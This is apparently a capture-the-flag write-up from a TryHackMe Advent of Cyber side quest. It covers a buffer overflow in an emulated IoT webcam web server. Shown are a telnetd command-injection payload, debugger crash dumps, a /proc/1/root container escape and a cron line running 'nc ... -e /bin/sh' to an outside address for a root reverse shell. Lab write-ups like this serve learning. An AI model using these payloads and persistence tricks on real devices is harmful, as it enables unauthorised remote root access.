AoCyber: Side Quest 2 Part 3
TL;DR: Local load the EMUX IOT demonstration and buffer overflow the terrible webs proxy to get a reverse shell.
See this years' other rooms as well:
SQ 1: Day 0
SQ 2: Day 6
SQ 3: Day 11
SQ 4: Day 20
Index of this challenge:
Plus Ultra Webcams - The Entry-point
In the last post we were able to use directory traversal to cheese out the credentials and flags from the service, but I wanted to include this extra bit as there's also a buffer overflow available as well. I did not personally find this overflow, but during my search for the webcam software and emux vulnerabilities I found other's exploits using Python to craft a payload with the bits already set just so. However they were all out of date Python scripts that didn't work out of the box, and since I didn't understand overflows as well as I wanted to, I decided to take a shot and see if I could reverse engineer the scripts that were reverse engineered from the web service.
Riding the coat tails of my forebearers, if you will.
As a reminder, the webcam service is an implementation of this process from therealsaumil and it's a fantastic framework for emulating IoT devices to explore.
Please note that in this article, I still do not have claim to authoritatively discuss buffer overflows, but I'd like to articulate my journey so far on my way to attempting to be authoritative enough to discuss buffer overflows. And in the interest of the author's post to a random script uploading directory, I will not share the source code but will instead just explain the process I used to debug that script.
TL;DR:
A buffer overflow is the behavior with which data is written beyond its intended memory space, and to exploit such is to write the data in such a way that you inject a payload or access a method by pushing this data into the next executing byte.
Basically cutting in line at the 15 item only processor checkout with 100 items such that the person in front of you pays for your items. At some point this analogy breaks down, but lets continue.
Lets try blind running our script kiddy goodness.
At the very least I can tell you that this program generates a bunch of text, adds some memory location references to the end of it, adds some more text, adds a shell payload that starts TelnetD, and then finally adds it to a URI method calling one of the asp forms that were identified in the last article.
The intention appears to be using up a specific amount of memory with the asp method and then to pass a " telnetd${IFS}-l/bin/sh;#
" payload. It finishes by connecting to the remote telnet port to give the user access to the shell as the webcam service user.
┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py localhost 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
Traceback (most recent call last):
File "/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py", line 72, in <module>
buf += "BBBB"
TypeError: can't concat str to bytes
Ah classic Python typing errors. Lets fix those up naively (i.e. incorrectly, like I did)
The attacker is starting with a string, so he's going to get a string! Type hinting!
Fixing the bytes to all be a string and sending it across the socket seemed to get Python satisfied, but the connection is failing.
┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py localhost 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
*** Connection closed by remote host ***
In another terminal, I started up emuxgdb
on the webs
web server that we used to find config files before. Here's what this looks like before it crashes. Remember: This is all also hosted locally on my attack box to test these vulnerabilities before executing them on the remote system.
Program received signal SIGSEGV, Segmentation fault.
0x5c582762 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x400876b8 → 0x400855e8 → 0x40087200 → 0x40085e00 → 0x40086ff8 → 0x40086618 → 0x40086410 → 0x400878c0
$r1 : 0x000757b4 → 0x40083cb0 → 0x40087450 → 0x40086c88 → 0x40086e90 → 0x40086ef0 → 0x40086ca0 → 0x40086d00
$r2 : 0x5
$r3 : 0x400876c0 → "http://BBBBBBBBBBBB/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r4 : 0x41414141 ("AAAA"?)
$r5 : 0x41414141 ("AAAA"?)
$r6 : 0x70414141 ("AAAp"?)
$r7 : 0x0007580c → 0x00000006
$r8 : 0x3
$r9 : 0x40085640 → "text/html"
$r10 : 0x0
$r11 : 0xbefffbd0 → 0x00000000
$r12 : 0x400855e8 → 0x40087200 → 0x40085e00 → 0x40086ff8 → 0x40086618 → 0x40086410 → 0x400878c0 → 0x40087b28 ("({\b@"?)
$sp : 0xbefff5c8 → 0x5c623078 ("x0b\"?)
$lr : 0x5c582762 ("b'X\"?)
$pc : 0x5c582762 ("b'X\"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbefff5c8│+0x0000: 0x5c623078 ← $sp
0xbefff5cc│+0x0004: 0x40363078
0xbefff5d0│+0x0008: 0x42424227
0xbefff5d4│+0x000c: 0x43434342
0xbefff5d8│+0x0010: 0x5c276243
0xbefff5dc│+0x0014: 0x5c633978
0xbefff5e0│+0x0018: 0x5c373078
0xbefff5e4│+0x001c: 0x40363078
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x5c582762
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x5c582762 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
If you're anything like me, it's all Greek to you too. But here's some key takeaways: Those $r#
's are all memory pointers in the program, like variables. In $r3
-$r6
you can clearly see random garbled text that was generated by this script. Our goal is to inject our payload in such a way that the $sp
register points to the memory location of our stored process to be evaluated and executed. Let's try changing some of the commented out text in the script to see if it nudges anything.
Program received signal SIGSEGV, Segmentation fault.
0x5c582762 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x400876b8 → 0x400855e8 → 0x40087200 → 0x40085e00 → 0x40086ff8 → 0x40086618 → 0x40086410 → 0x400878c0
$r1 : 0x000757b4 → 0x40083c80 → 0x40087450 → 0x40086c88 → 0x40086e90 → 0x40086ef0 → 0x40086ca0 → 0x40086d00
$r2 : 0x5
$r3 : 0x400876c0 → "http://BBBBBBBBBBBB/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r4 : 0x41414141 ("AAAA"?)
$r5 : 0x41414141 ("AAAA"?)
$r6 : 0x70414141 ("AAAp"?)
$r7 : 0x0007580c → 0x00000006
$r8 : 0x3
$r9 : 0x40085640 → "text/html"
$r10 : 0x0
$r11 : 0xbefffbd0 → 0x00000000
$r12 : 0x400855e8 → 0x40087200 → 0x40085e00 → 0x40086ff8 → 0x40086618 → 0x40086410 → 0x400878c0 → 0x40087b28 ("({\b@"?)
$sp : 0xbefff5c8 → "x0b\x06@'BBBBCCCCDDDDb'\x9c\x07\x06@'EEEEb'\x98J\x[...]"
$lr : 0x5c582762 ("b'X\"?)
$pc : 0x5c582762 ("b'X\"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbefff5c8│+0x0000: "x0b\x06@'BBBBCCCCDDDDb'\x9c\x07\x06@'EEEEb'\x98J\x[...]" ← $sp
0xbefff5cc│+0x0004: 0x40363078
0xbefff5d0│+0x0008: 0x42424227
0xbefff5d4│+0x000c: 0x43434342
0xbefff5d8│+0x0010: 0x44444443
0xbefff5dc│+0x0014: 0x5c276244
0xbefff5e0│+0x0018: 0x5c633978
0xbefff5e4│+0x001c: 0x5c373078
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x5c582762
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x5c582762 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Again we crashed, but now we can see some of the data, and it LOOKS like hex to me! Don't judge me if you know better already.
This would have been a screen the original author might have even seen at one point as they played with sending data and subtly changing values to figure out how many bytes to send across the wire to write just the right amount to execute their payload... Someday I will go research the arcana necessary to do so as well. But for today, let's just look at what we found a bit closer.
There's a whole lot of hex in here, but there's also truncated hex and ascii @ mixed in to where I'd have expected more \x## references... perhaps the string I encoded isn't being sent properly to the application, and perhaps the original was closer than I originally thought. I'll revert my changes and switch the string to a bytestring instead and try again.
This time the debugger didn't crash, it just sat there looking stupid (as there was no break points set up yet, which is apparently a thing you can do) but I got this odd output from my script:
┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py localhost 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
What's a nice looking shell like you doing in a place like this? Will it work on the remote machine?
┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py 10.10.232.34 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Yes it did! Let's confirm where we're at by checking on that admin password in a config we know exists.
# cat /var/etc/umconfig.txt
cat /var/etc/umconfig.txt
TABLE=users
ROW=0
name=admin
password=<redacted>
group=administrators
prot=0
disable=0
It can and it certainly does.
Thinking about this architecture from the github documentation, this is actually a QEMU device inside a docker container, with lots of pathways to make it work properly, which also means it's likely a bit vulnerable. Lets see what we can see.
# ps w l
ps w l
S UID PID PPID VSZ RSS TTY STIME TIME CMD
S 0 1 0 1808 480 0:0 18:59 00:00:00 init
S 0 2 0 0 0 0:0 18:59 00:00:00 [kthreadd]
S 0 3 2 0 0 0:0 18:59 00:00:00 [ksoftirqd/0]
S 0 4 2 0 0 0:0 18:59 00:00:00 [watchdog/0]
S 0 5 2 0 0 0:0 18:59 00:00:00 [events/0]
R 0 6 2 0 0 0:0 18:59 00:00:10 [khelper]
S 0 117 2 0 0 0:0 18:59 00:00:00 [kblockd/0]
S 0 124 2 0 0 0:0 18:59 00:00:00 [kseriod]
S 0 127 2 0 0 0:0 18:59 00:00:00 [kmmcd]
S 0 152 2 0 0 0:0 18:59 00:00:00 [pdflush]
S 0 153 2 0 0 0:0 18:59 00:00:00 [pdflush]
S 0 154 2 0 0 0:0 18:59 00:00:00 [kswapd0]
S 0 155 2 0 0 0:0 18:59 00:00:00 [aio/0]
S 0 156 2 0 0 0:0 18:59 00:00:00 [nfsiod]
S 0 314 2 0 0 0:0 18:59 00:00:00 [scsi_tgtd/0]
S 0 318 2 0 0 0:0 18:59 00:00:00 [scsi_eh_0]
S 0 340 2 0 0 0:0 19:00 00:00:00 [mtdblockd]
S 0 356 2 0 0 0:0 19:00 00:00:00 [kpsmoused]
S 0 368 2 0 0 0:0 19:00 00:00:00 [hid_compat]
S 0 371 2 0 0 0:0 19:00 00:00:00 [rpciod/0]
S 0 372 2 0 0 0:0 19:00 00:00:00 [v9fs/0]
S 0 373 2 0 0 0:0 19:00 00:00:00 [v9fs-poll]
S 0 390 1 1800 424 0:0 19:00 00:00:00 /sbin/syslogd -n
S 0 394 1 1796 416 0:0 19:00 00:00:00 /sbin/klogd -n
S 0 421 1 888 328 0:0 19:00 00:00:01 dcron -L /dev/null
S 0 427 1 1068 364 0:0 19:00 00:00:00 /usr/sbin/dropbear -p 22222 -R
S 0 438 1 912 380 204:64 19:00 00:00:00 /sbin/agetty -p -L ttyAMA0 115200 vt100
S 0 439 427 1092 536 0:0 19:00 00:00:00 /usr/sbin/dropbear -p 22222 -R
S 0 440 439 2704 1080 0:0 19:00 00:00:00 {run-init} /bin/bash ./run-init
S 0 463 440 908 372 0:0 19:00 00:00:00 script -a -f -c chroot /emux/TRI227WF/rootfs /.emux/emuxinit /home/r0/workspac
S 0 464 463 892 304 pts0 19:00 00:00:00 {emuxinit} /bin/sh /.emux/emuxinit
S 0 516 1 888 272 0:0 19:00 00:00:00 syslogd
S 0 518 1 884 252 0:0 19:00 00:00:00 klogd
D 0 561 1 776 260 pts0 19:00 00:00:13 nvctl
S 0 567 1 1484 388 pts0 19:00 00:00:07 inetd_tcp
S 0 612 1 832 364 pts0 19:00 00:00:03 netmgr
S 0 618 1 732 284 pts0 19:00 00:00:00 storage
S 0 627 1 1488 396 pts0 19:00 00:00:00 nvrd
S 0 646 1 736 292 pts0 19:00 00:00:00 httpclient -c /var/config/httpclient_task15.conf
S 0 651 1 768 356 pts0 19:00 00:00:00 taskmgr
S 0 656 464 896 348 pts0 19:00 00:00:00 /bin/sh
S 0 915 1 604 316 pts0 19:00 00:00:01 ndcpd
S 0 921 1 504 228 pts0 19:00 00:00:00 ndcpd2
S 0 931 1 524 244 pts0 19:00 00:00:00 ndcpd3
S 0 948 1 1016 560 pts0 19:00 00:00:00 upnpd eth0
S 0 957 948 1016 560 pts0 19:00 00:00:00 upnpd eth0
S 0 958 957 1016 560 pts0 19:00 00:00:00 upnpd eth0
S 0 963 957 1016 560 pts0 19:00 00:00:00 upnpd eth0
S 0 969 957 1016 560 pts0 19:00 00:00:00 upnpd eth0
S 0 973 957 1016 560 pts0 19:00 00:00:00 upnpd eth0
S 0 979 1 920 440 pts0 19:00 00:00:00 onvifn
S 0 987 1 3128 424 pts0 19:00 00:00:00 onvifd
S 0 992 1 1788 716 pts0 19:00 00:00:07 ipcamd
S 0 1003 992 1788 716 pts0 19:00 00:00:00 ipcamd
Z 0 7907 421 0 0 0:0 22:53 00:00:00 [test-eth0.sh]
S 0 7908 421 1804 452 0:0 22:53 00:00:00 /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2>&1
S 0 7909 421 1804 452 0:0 22:53 00:00:00 /bin/sh -c sleep 50; /root/test-eth0.sh >/dev/null 2>&1
S 0 7915 7908 1796 356 0:0 22:53 00:00:00 sleep 40
S 0 7921 7909 1796 356 0:0 22:53 00:00:00 sleep 50
R 0 11088 21784 888 312 3:0 22:53 00:00:00 ps w l
S 0 21241 1 892 268 0:0 22:49 00:00:00 telnetd -l/bin/sh
S 0 21784 21241 896 360 3:0 22:49 00:00:00 /bin/sh
S 0 21971 1 1476 468 0:0 22:50 00:00:00 webs
It sure looks like a lot more stuff is running in here than one might expect, maybe this means there's pollution of the PID namespace. Let's see if we can see anything that the PIDs might also be able to see. Remember: We can always confirm our findings by looking at the contents of the local container we spun up earlier.
# pwd
pwd
/proc/1
# ls root
ls root
bin etc lib32 media proc sbin usr
dev home linuxrc mnt root sys var
emux lib lost+found opt run tmp
# ls /
ls /
bin dev etc home lib proc root sbin sys tmp usr var
Ho ho ho, look what we have here, a root folder that's different than the webcam root folder.
A classic go-to is to use a service script that's already being run with elevated privileges to start a reverse shell with those privileges. Only way to see if we can is to try!
# ls /proc/1/root/usr/bin | grep nc
fincore
nc
rsync
truncate
uuencode
We even have a nice copy of nc right here on that box, now for somewhere to plug it...
# pwd
pwd
/proc/1/root/etc/crontabs
# cat root
cat root
* * * * * /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 10; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 20; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 30; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 40; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 50; /root/test-eth0.sh >/dev/null 2>&1
Uh yeah that will work.
# echo "* * * * * /usr/bin/nc 10.13.8.186 4444 -e /bin/sh" >> root
echo "* * * * * /usr/bin/nc 10.13.8.186 4444 -e /bin/sh" >> root
# cat root
cat root
* * * * * /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 10; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 20; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 30; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 40; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 50; /root/test-eth0.sh >/dev/null 2>&1
* * * * * /usr/bin/nc 10.13.8.186 4444 -e /bin/sh
#
Now we wait...
┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/emux-master]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.13.8.186] from (UNKNOWN) [10.10.232.34] 58730
ls
---
index.html
test-eth0.sh
ls /
---
bin
dev
emux
etc
home
lib
lib32
linuxrc
lost+found
media
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var
whoami
---
root
By golly we did it! Using the same techniques I wasn't able to break out of the container proper as of the time of this writing, but if there were a flag to be had here it would be so sweet.
Editor's note: This was apparently a great hint moving into SQ3! Well done again, THM.
It turns out that the port 23 was unused by anything, and simply socat forwarding to the emux QEMU nested container in case an attacker just wanted to waltz on in.
This was a great ending to this side quest and it's got me itching for more.